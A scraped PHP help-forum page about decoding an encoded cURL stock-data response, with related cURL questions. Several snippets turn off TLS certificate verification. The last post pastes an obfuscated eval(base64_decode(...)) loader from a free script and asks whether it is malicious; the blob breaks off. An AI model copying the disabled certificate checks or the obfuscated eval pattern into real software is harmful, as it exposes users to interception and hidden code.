PHP - Help Decoding Php Curl Response
I have been using PHP CURL to obtain stock data... The URL is
https://trade.plus50...ntName=Facebook
Essentially, it is supposed to return date, time, and price of stock tick data
But it returns stuff like "HrCy/h6wsw4esLL+HrCzDh6wsw4esLMOHrCzDh6wsu4esLLeHrCy7h6wsu4esLL"
So... I would like to know, what is this format, and how do I decode it? Thanks
Here is the full response....
{"InstrumentName":"Facebook","InstrumentID":1350,"StartPointDate":"2014-12-19 20:42:45.837","LastPointDate":"2014-12-19 20:59:59.463","SellRate":"MuHrCzHh6wsx4esLMuHrCzHh6wsy4esLMuHrCzLh6wsy4esLMuHrCzLh6wsz4esLMuHrCzDh6wsw4esLMOHrCzDh6wsv4esLMOHrCzDh6wsw4esLL+HrCy/h6wsw4esLL+HrCzDh6wsw4esLMOHrCzDh6wsu4esLLeHrCy7h6wsu4esLL+HrCy7h6wst4esLLeHrCy3h6wsu4esLLuHrCy7h6wsu4esLLeHrCy3h6wst4esLLeHrCy7h6wsu4esLLuHrCyzh6wsu4esLLeHrCy7h6wsu4esLLuHrCy7h6wsu4esLLeHrCy7h6wsu4esLLuHrCzHh6wsy4esLMuHrCzLh6wsz4esLNOHrCzLh6wsy4esLMuHrCzPh6wsy4esLMuHrCzDh6wsw4esLMeHrCzHh6wsx4esLMOHrCzDh6wsw4esLMeHrCzHh6wsv4esLMOHrCy/h6wst4esLLeHrCyvh6wsq4esLKuHrCyzh6wss4esLLOHrCy3h6wst4esLLOHrCyvh6wsr4esLKuHrCyrh6wsq4esLKuHrCyjh6wsp4esLKOHrCynh6wso4esLK+HrCyvh6wss4esLK+HrCyvh6wsr4esLK+HrCyvh6wsr4esLKeHrCyrh6wsp4esLKOHrCyjh6wsp4esLKOHrCynh6wso4esLKeHrCynh6wsp4esLKOHrCyjh6wsn4esLJ+HrCybh6wsn4esLJuHrCybh6wsl4esLJOHrCyXh6wsm4esLJuHrCybh6wsm4esLJuHrCybh6wso4esLKOHrCynh6wsp4esLKeHrCynh6wsp4esLKeHrCyjh6wso4esLKeHrCynh6wsp4esLKOHrCyjh6wso4esLKeHrCyjh6wsp4esLKeHrCyjh6wso4esLKeHrCynh6wsq4esLK+HrCyvh6wsr4esLK+HrCyvh6wsr4esLK+HrCyzh6wss4esLLOHrCyrh6wsp4esLKeHrCynh6wsp4esLKOHrCyjh6wso4esLJ+HrCyfh6wsn4esLJ+HrCyfh6wsn4esLJ+HrCyjh6wsn4esLJuHrCyXh6wsl4esLJOHrCyXh6wsl4esLJOHrCyTh6wsj4esLI+HrCyTh6wsk4esLJOHrCyTh6wsl4esLJuHrCyXh6wsl4esLJeHrCyfh6wsm4esLJuHrCyfh6wsn4esLJuHrCybh6wsm4esLJuHrCyfh6wsn4esLJ+HrCyfh6wsn4esLJ+HrCyfh6wso4esLJ+HrCyjh6wso4esLKeHrCyjh6wso4esLKeHrCy3h6wss4esLLuHrCy3h6wsv4esLL+HrCy7h6wsv4esLL+HrCzHh6wsy4esLMuHrCzLh6wsz4esLM+HrCzXh6ws04esLNOHrCzTh6ws04esLNuHrCzXh6ws14esLNeHrCzbh6ws24esLNuHrCzfh6ws34esLN+HrCzfh6ws44esLN+HrCzjh6ws34esLNuHrCzfh6ws24esLNuHrCzbh6ws24esLNuHrCzbh6ws14esLNeHrCzXh6ws04esLNeHrCzfh6ws24esLNuHrCzjh6ws54esLOeHrCzrh6ws64esLOuHrCzvh6ws64esLOeHrCznh6ws54esLOuHrCzjh6ws64esLOuHrCzvh6ws74esLOuHrCzvh6ws64esLOuHrCzvh6ws64esLO+HrCzvh6ws74esLOeHrCzjh6ws44esLOOHrCzjh6ws44esLOOHrCzjh6ws34esLN+HrCzfh6ws34esLN+HrCzfh6ws34esLN+HrCzfh6ws34esLN+HrCzbh6ws24esLNeHrCzTh6ws04esLNeHrCzXh6ws04esLNeHrCzbh6ws34esLNuHrCzXh6ws24esLN+HrCzfh6ws24esLN+HrCzfh6ws34esLN+HrCzfh6ws24esLN+HrCzfh6ws24esLNuHrCzXh6ws04esLNOHrCzTh6wsz4esLMuHrCzLh6wsy4esLMuHrCzPh6wsz4esLM+HrCzPh6wsz4esLM+HrCzPh6wsz4esLM+HrCzPh6wsz4esLNOHrCzTh6ws04esLNOHrCzTh6ws04esLNOHrCzPh6ws04esLNOHrCzPh6ws04esLNOHrCzTh6ws04esLNOHrCzPh6wsz4esLMuHrCzPh6wsy4esLM+HrCzLh6wsz4esLMuHrCzPh6wsy4esLM+HrCzPh6wsz4esLM+HrCzLh6wsy4esLMuHrCzLh6wsy4esLM+HrCzPh6wsz4esLM+HrCzPh6wsz4esLMuHrCzPh6ws04esLNOHrCzXh6ws14esLN+HrCzfh6ws34esLN+HrCzjh6ws34esLNeHrCzXh6ws24esLNeHrCzXh6ws14esLNeHrCzXh6ws14esLNeHrCzXh6ws14esLNeHrCzXh6ws04esLNOHrCzTh6ws04esLNOHrCzTh6ws04esLNOHrCzTh6wsz4esLM+HrCzPh6wsz4esLNOHrCzPh6ws04esLNOHrCzTh6ws04esLNOHrCzXh6ws04esLNeHrCzXh6ws14esLNuHrCzfh6ws34esLN+HrCzfh6ws24esLNuHrCzfh6ws24esLNeHrCzXh6ws04esLNOHrCzXh6ws04esLNOHrCzXh6ws24esLNuHrCzbh6ws24esLNeHrCzTh6ws14esLNeHrCzTh6ws04esLNOHrCzTh6ws04esLNOHrCzTh6ws04esLNOHrCzTh6ws04esLNOHrCzPh6wsz4esLM+HrCzPh6wsz4esLM+HrCzPh6wsz4esLM+HrCzPh6wsz4esLMuHrCzLh6wsx4esLMeHrCzHh6wsx4esLMeHrCzDh6wsv4esLMOHrCzDh6wsw4esLL+HrCy/h6wsv4esLMOHrCzLh6wsy4esLL+HrCy/h6wsv4esLMOHrCy/h6wsv4esLMeHrCzHh6wsy4esLM+HrCzPh6wsy4esLMuHrCzLh6wsy4esLM+HrCzLh6wsy4esLM+HrCzPh6wsz4esLMuHrCzPh6wsz4esLM+HrCzPh6wsy4esLMuHrCzHh6wsz4esLMeHrCzHh6wsx4esLMeHrCzLh6wsx4esLL+HrCy7h6wsw4esLMeHrCzDh6wsx4esLMOHrCzHh6wsw4esLL+HrCy/h6wsr4esLK+HrCynh6wso4esLKeHrCybh6wso4esLKOHrCybh6wsl4esL","DeltaDateTime":"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","CurrentTime":"2014-12-21 12:36:48.939","PrecisionDigits":2,"SpreadPipsCount":5,"IsDynamicSpread":false}
Similar TutorialsA HTTP request is made to the server, Slim creates a Request and Response object, content in the Request is sent to another server using cURL via Guzzle, Guzzle returns its own Response, and content from Guzzle's response must be returned by the original Slim response. Would you recommend white-listing or black-listing response headers, and which specific headers? Similarly, would you recommend white-listing or black-listing the request headers sent via cURL, and which specific headers? Thanks <?php use Psr\Http\Message\ResponseInterface as Response; use GuzzleHttp\Psr7\Response as CurlResponse; class ApiResponder { public function delete(Response $httpResponse, CurlResponse $curlResponse) { return $this->proxy($httpResponse, $curlResponse); } //other public methods... private function proxy(Response $httpResponse, CurlResponse $curlResponse) { foreach($this->getResponseHeaders($curlResponse) as $name=>$value) { $httpResponse=$httpResponse->withHeader($name, $value); } return $httpResponse->withBody($curlResponse->getBody())->withStatus($curlResponse->getStatusCode()); } private function getResponseHeaders(Response $httpResponse):array { //Blacklist headers which should be returned to original client. TBD whether I should whitelist headers instead. $blacklist=['Date'=>null, 'Server'=>null, 'X-Powered-By'=>null, 'Access-Control-Allow-Origin'=>null, 'Access-Control-Allow-Methods'=>null, 'Access-Control-Allow-Headers'=>null, 'Set-Cookie'=>null]; return array_diff_key($curlResponse->getHeaders(), $blacklist); } /** * This method doesn't really exist in this class, but is just included to show which headers I am forwarding in the cURL request. */ private function getRequestHeaders($clientRequest):array { $whitelist=['connection'=>null,'accept'=>null,'accept-encoding'=>null,'accept-language'=>null,'content-type'=>null,'content-length'=>null]; return array_intersect_key($clientRequest->getHeaders(), $whitelist); } }
Hi, I'm posting a form using curl: Code: [Select] <?php //create the final string to be posted using implode() $post_str = implode ('&', $post_items); //Initialize cURL and connect to the remote URL $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://leads..html' ); //Instruct cURL to do a regular HTTP POST curl_setopt($ch, CURLOPT_POST, TRUE); //Specify the data which is to be posted curl_setopt($ch, CURLOPT_POSTFIELDS, $post_str); //Tell curl_exec to return the response output as a string curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); //Follow 302 redirect curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // Timeout in seconds curl_setopt($ch, CURLOPT_TIMEOUT, 30); //verify https curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //Execute the cURL session $response = curl_exec($ch ); //Close cURL session and file curl_close($ch); echo $response; $resp = explode("\n\r\n", $response); $header = explode("\n", $resp[0]); echo "<pre>"; print_r($header); echo "</pre>"; ?> The response is: success: https://www-somesite.html or Array ( => success: https://www-somesite.html ) My question is how to get the returned URL and redirect the user to it? Probably easy but seems to be beyond my very limited php knowledge. Thanks. Hello, I am trying to do multiple curl requests and get the response for each one output to the screen. I have wrote the following code, but only appear to be getting the last response when outputting $result. What am i doing wrong? Is there a way to wait for each curl request to be completed before appending to $result so I can see them all? Thanks very much if (isset($_POST['submit'])) { $result = array(); foreach ($textAr as $line) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true ); curl_setopt($ch, CURLOPT_ENCODING, "gzip,deflate"); $result[] = curl_exec ($ch); } curl_close ($ch); echo "<pre>"; print_r($result); echo "</pre>"; }
Hi all, I'm using curl to post some data, and the response is (assuming no errors) either <boolean>true</boolean> or <boolean>false</boolean>. So if I use simplexml_load_string, the result is returned as an object. I'm trying to make this a boolean so I can handle the response, but it doesn't seem to be working....checking for false didn't stop anything from happening. Here's the problem code: Code: [Select] $result = curl_exec($ch); $xml = settype(simplexml_load_string($result),"boolean"); if (curl_errno($ch) || $xml === false) { throw new Exception(curl_error($ch)); }
Hello guys, <?xml version="1.0" encoding="utf-8"?> <string xmlns="http://tempuri.org/">false</string>
Unfortunately the curl returns something that I can't parse to XML and get the value "false" $soap_do = curl_init(); curl_setopt($soap_do, CURLOPT_URL, $url ); curl_setopt($soap_do, CURLOPT_RETURNTRANSFER, true ); curl_setopt($soap_do, CURLOPT_POST, true ); curl_setopt($soap_do, CURLOPT_POSTFIELDS, $soap_request); curl_setopt($soap_do, CURLOPT_HTTPHEADER, $header); curl_setopt($soap_do, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($soap_do, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec($soap_do); $xml = simplexml_load_string($result); return $xml; How do I parse this SOAP response? Thank you very much I downloaded a free reviews script from http://tinyurl.com/25q47mj One of the files is encoded and I want to ensure it doesn't have anything malicious! Any help would be much appreciated! Thank you!! <?php $ve08156dfe67="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($ve08156dfe67( "JG4xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyPSJceDYyIjskbmY5Y2Y4ZTgyNGRmM2I0OWU2NjhhM2U 1MGI0NjA3ZTU9Ilx4NjUiOyRjODEzNTE2ZDlkMDExMmU3MjgwODYwZjlkNzkyOTliNj0iXHg2NiI7JG9jOGM1N2Y 5YzNmNmFhYmQxYjI2NjkxYjUyOTU4OGEyPSJceDY3IjskYTQxMzcyYzgyODQ3MDgzMDM1ZjVmYTJjZjMxNDY5NTc 9Ilx4NmQiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yz0iXHg2ZiI7JGw5NzQwNDQyMDFlMDMxNjY 1YjU0OWUyNTQ3ZDM1NWUxPSJceDZmIjskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y1Zjg9Ilx4NmYiOyR 6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZT0iXHg2ZiI7JGVkMWI5Y2I4YmM0Y2NmMjk2ZDNkMTM2NGQ zNGZhNTA4PSJceDczIjskaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWU9Ilx4NzMiOyRwMDE1NDI5MmM 4MGYwYzdiYjc4MWFhYTNkYjhhYzU4ZD0iXHg3MyI7JHJkNjMxZDUwNjczMWQ4ZTkyNDg4NGFkNzAwMzI5NWJhPSJ ceDczIjskbjFiMTMwYjQwZmU0NjJlYTFhZWZhZWE4Y2YxMDBkMjIuPSJcMTQxIjskbmY5Y2Y4ZTgyNGRmM2I0OWU 2NjhhM2U1MGI0NjA3ZTUuPSJcMTYyIjskYzgxMzUxNmQ5ZDAxMTJlNzI4MDg2MGY5ZDc5Mjk5YjYuPSJcMTUxIjs kb2M4YzU3ZjljM2Y2YWFiZDFiMjY2OTFiNTI5NTg4YTIuPSJcMTcyIjskYTQxMzcyYzgyODQ3MDgzMDM1ZjVmYTJ jZjMxNDY5NTcuPSJcMTQ0IjskdTM1ZmFmOGNiNTVhZGRkOTg5ZDBlNGU5NzI1YzZlNWMuPSJcMTQyIjskbDk3NDA 0NDIwMWUwMzE2NjViNTQ5ZTI1NDdkMzU1ZTEuPSJcMTQyIjskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y 1ZjguPSJcMTQyIjskejE3ZGFjODYxMmYyMmJkOTg0OTFiNWQ1ZWQxNDlkZWUuPSJcMTQyIjskZWQxYjljYjhiYzR jY2YyOTZkM2QxMzY0ZDM0ZmE1MDguPSJcMTY0IjskaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWUuPSJ cMTY0IjskcDAxNTQyOTJjODBmMGM3YmI3ODFhYWEzZGI4YWM1OGQuPSJcMTY0IjskcmQ2MzFkNTA2NzMxZDhlOTI 0ODg0YWQ3MDAzMjk1YmEuPSJcMTY0IjskbjFiMTMwYjQwZmU0NjJlYTFhZWZhZWE4Y2YxMDBkMjIuPSJceDczIjs kbmY5Y2Y4ZTgyNGRmM2I0OWU2NjhhM2U1MGI0NjA3ZTUuPSJceDY1IjskYzgxMzUxNmQ5ZDAxMTJlNzI4MDg2MGY 5ZDc5Mjk5YjYuPSJceDZjIjskb2M4YzU3ZjljM2Y2YWFiZDFiMjY2OTFiNTI5NTg4YTIuPSJceDY5IjskYTQxMzc yYzgyODQ3MDgzMDM1ZjVmYTJjZjMxNDY5NTcuPSJceDM1IjskdTM1ZmFmOGNiNTVhZGRkOTg5ZDBlNGU5NzI1YzZ lNWMuPSJceDVmIjskbDk3NDA0NDIwMWUwMzE2NjViNTQ5ZTI1NDdkMzU1ZTEuPSJceDVmIjskc2Q3MDdhNDY5MWM 2YWZlMmU2M2E0Y2M3YmE1N2Y1ZjguPSJceDVmIjskejE3ZGFjODYxMmYyMmJkOTg0OTFiNWQ1ZWQxNDlkZWUuPSJ ceDVmIjskZWQxYjljYjhiYzRjY2YyOTZkM2QxMzY0ZDM0ZmE1MDguPSJceDcyIjskaDZhMjE5ODI0Mjg2NDI2NTV kMDk3ODhmZGI1ZDY4NWUuPSJceDcyIjskcDAxNTQyOTJjODBmMGM3YmI3ODFhYWEzZGI4YWM1OGQuPSJceDcyIjs kcmQ2MzFkNTA2NzMxZDhlOTI0ODg0YWQ3MDAzMjk1YmEuPSJceDcyIjskbjFiMTMwYjQwZmU0NjJlYTFhZWZhZWE 4Y2YxMDBkMjIuPSJcMTQ1IjskbmY5Y2Y4ZTgyNGRmM2I0OWU2NjhhM2U1MGI0NjA3ZTUuPSJcMTQ3IjskYzgxMzU xNmQ5ZDAxMTJlNzI4MDg2MGY5ZDc5Mjk5YjYuPSJcMTQ1Ijskb2M4YzU3ZjljM2Y2YWFiZDFiMjY2OTFiNTI5NTg 4YTIuPSJcMTU2IjskdTM1ZmFmOGNiNTVhZGRkOTg5ZDBlNGU5NzI1YzZlNWMuPSJcMTQ1IjskbDk3NDA0NDIwMWU wMzE2NjViNTQ5ZTI1NDdkMzU1ZTEuPSJcMTQ1Ijskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y1ZjguPSJ cMTQ3IjskejE3ZGFjODYxMmYyMmJkOTg0OTFiNWQ1ZWQxNDlkZWUuPSJcMTYzIjskZWQxYjljYjhiYzRjY2YyOTZ kM2QxMzY0ZDM0ZmE1MDguPSJcMTM3IjskaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWUuPSJcMTM3Ijs kcDAxNTQyOTJjODBmMGM3YmI3ODFhYWEzZGI4YWM1OGQuPSJcMTYwIjskcmQ2MzFkNTA2NzMxZDhlOTI0ODg0YWQ 3MDAzMjk1YmEuPSJcMTY0IjskbjFiMTMwYjQwZmU0NjJlYTFhZWZhZWE4Y2YxMDBkMjIuPSJceDM2IjskbmY5Y2Y 4ZTgyNGRmM2I0OWU2NjhhM2U1MGI0NjA3ZTUuPSJceDVmIjskYzgxMzUxNmQ5ZDAxMTJlNzI4MDg2MGY5ZDc5Mjk 5YjYuPSJceDVmIjskb2M4YzU3ZjljM2Y2YWFiZDFiMjY2OTFiNTI5NTg4YTIuPSJceDY2IjskdTM1ZmFmOGNiNTV hZGRkOTg5ZDBlNGU5NzI1YzZlNWMuPSJceDZlIjskbDk3NDA0NDIwMWUwMzE2NjViNTQ5ZTI1NDdkMzU1ZTEuPSJ ceDZlIjskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y1ZjguPSJceDY1IjskejE3ZGFjODYxMmYyMmJkOTg 0OTFiNWQ1ZWQxNDlkZWUuPSJceDc0IjskZWQxYjljYjhiYzRjY2YyOTZkM2QxMzY0ZDM0ZmE1MDguPSJceDcyIjs kaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWUuPSJceDcyIjskcDAxNTQyOTJjODBmMGM3YmI3ODFhYWE zZGI4YWM1OGQuPSJceDZmIjskcmQ2MzFkNTA2NzMxZDhlOTI0ODg0YWQ3MDAzMjk1YmEuPSJceDZmIjskbjFiMTM wYjQwZmU0NjJlYTFhZWZhZWE4Y2YxMDBkMjIuPSJcNjQiOyRuZjljZjhlODI0ZGYzYjQ5ZTY2OGEzZTUwYjQ2MDd lNS49IlwxNjIiOyRjODEzNTE2ZDlkMDExMmU3MjgwODYwZjlkNzkyOTliNi49IlwxNDciOyRvYzhjNTdmOWMzZjZ hYWJkMWIyNjY5MWI1Mjk1ODhhMi49IlwxNTQiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yy49Ilw xNDQiOyRsOTc0MDQ0MjAxZTAzMTY2NWI1NDllMjU0N2QzNTVlMS49IlwxNDQiOyRzZDcwN2E0NjkxYzZhZmUyZTY zYTRjYzdiYTU3ZjVmOC49IlwxNjQiOyR6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZS49IlwxNDEiOyR lZDFiOWNiOGJjNGNjZjI5NmQzZDEzNjRkMzRmYTUwOC49IlwxNDUiOyRoNmEyMTk4MjQyODY0MjY1NWQwOTc4OGZ kYjVkNjg1ZS49IlwxNTciOyRwMDE1NDI5MmM4MGYwYzdiYjc4MWFhYTNkYjhhYzU4ZC49IlwxNjMiOyRyZDYzMWQ 1MDY3MzFkOGU5MjQ4ODRhZDcwMDMyOTViYS49IlwxNTMiOyRuMWIxMzBiNDBmZTQ2MmVhMWFlZmFlYThjZjEwMGQ yMi49Ilx4NWYiOyRuZjljZjhlODI0ZGYzYjQ5ZTY2OGEzZTUwYjQ2MDdlNS49Ilx4NjUiOyRjODEzNTE2ZDlkMDE xMmU3MjgwODYwZjlkNzkyOTliNi49Ilx4NjUiOyRvYzhjNTdmOWMzZjZhYWJkMWIyNjY5MWI1Mjk1ODhhMi49Ilx 4NjEiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yy49Ilx4NWYiOyRsOTc0MDQ0MjAxZTAzMTY2NWI 1NDllMjU0N2QzNTVlMS49Ilx4NWYiOyRzZDcwN2E0NjkxYzZhZmUyZTYzYTRjYzdiYTU3ZjVmOC49Ilx4NWYiOyR 6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZS49Ilx4NzIiOyRlZDFiOWNiOGJjNGNjZjI5NmQzZDEzNjR kMzRmYTUwOC49Ilx4NzAiOyRoNmEyMTk4MjQyODY0MjY1NWQwOTc4OGZkYjVkNjg1ZS49Ilx4NzQiOyRuMWIxMzB iNDBmZTQ2MmVhMWFlZmFlYThjZjEwMGQyMi49IlwxNDQiOyRuZjljZjhlODI0ZGYzYjQ5ZTY2OGEzZTUwYjQ2MDd lNS49IlwxNjAiOyRjODEzNTE2ZDlkMDExMmU3MjgwODYwZjlkNzkyOTliNi49IlwxNjQiOyRvYzhjNTdmOWMzZjZ hYWJkMWIyNjY5MWI1Mjk1ODhhMi49IlwxNjQiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yy49Ilw xNDMiOyRsOTc0MDQ0MjAxZTAzMTY2NWI1NDllMjU0N2QzNTVlMS49IlwxNDYiOyRzZDcwN2E0NjkxYzZhZmUyZTY zYTRjYzdiYTU3ZjVmOC49IlwxNDMiOyR6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZS49IlwxNjQiOyR lZDFiOWNiOGJjNGNjZjI5NmQzZDEzNjRkMzRmYTUwOC49IlwxNTQiOyRoNmEyMTk4MjQyODY0MjY1NWQwOTc4OGZ kYjVkNjg1ZS49Ilw2MSI7JG4xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyLj0iXHg2NSI7JG5mOWNmOGU 4MjRkZjNiNDllNjY4YTNlNTBiNDYwN2U1Lj0iXHg2YyI7JGM4MTM1MTZkOWQwMTEyZTcyODA4NjBmOWQ3OTI5OWI 2Lj0iXHg1ZiI7JG9jOGM1N2Y5YzNmNmFhYmQxYjI2NjkxYjUyOTU4OGEyLj0iXHg2NSI7JHUzNWZhZjhjYjU1YWR kZDk4OWQwZTRlOTcyNWM2ZTVjLj0iXHg2YyI7JGw5NzQwNDQyMDFlMDMxNjY1YjU0OWUyNTQ3ZDM1NWUxLj0iXHg 2YyI7JHNkNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2JhNTdmNWY4Lj0iXHg2ZiI7JGVkMWI5Y2I4YmM0Y2NmMjk2ZDN kMTM2NGQzNGZhNTA4Lj0iXHg2MSI7JGg2YTIxOTgyNDI4NjQyNjU1ZDA5Nzg4ZmRiNWQ2ODVlLj0iXHgzMyI7JG4 xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyLj0iXDE0MyI7JG5mOWNmOGU4MjRkZjNiNDllNjY4YTNlNTB iNDYwN2U1Lj0iXDE0MSI7JGM4MTM1MTZkOWQwMTEyZTcyODA4NjBmOWQ3OTI5OWI2Lj0iXDE0MyI7JHUzNWZhZjh jYjU1YWRkZDk4OWQwZTRlOTcyNWM2ZTVjLj0iXDE0NSI7JGw5NzQwNDQyMDFlMDMxNjY1YjU0OWUyNTQ3ZDM1NWU xLj0iXDE2NSI7JHNkNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2JhNTdmNWY4Lj0iXDE1NiI7JGVkMWI5Y2I4YmM0Y2N 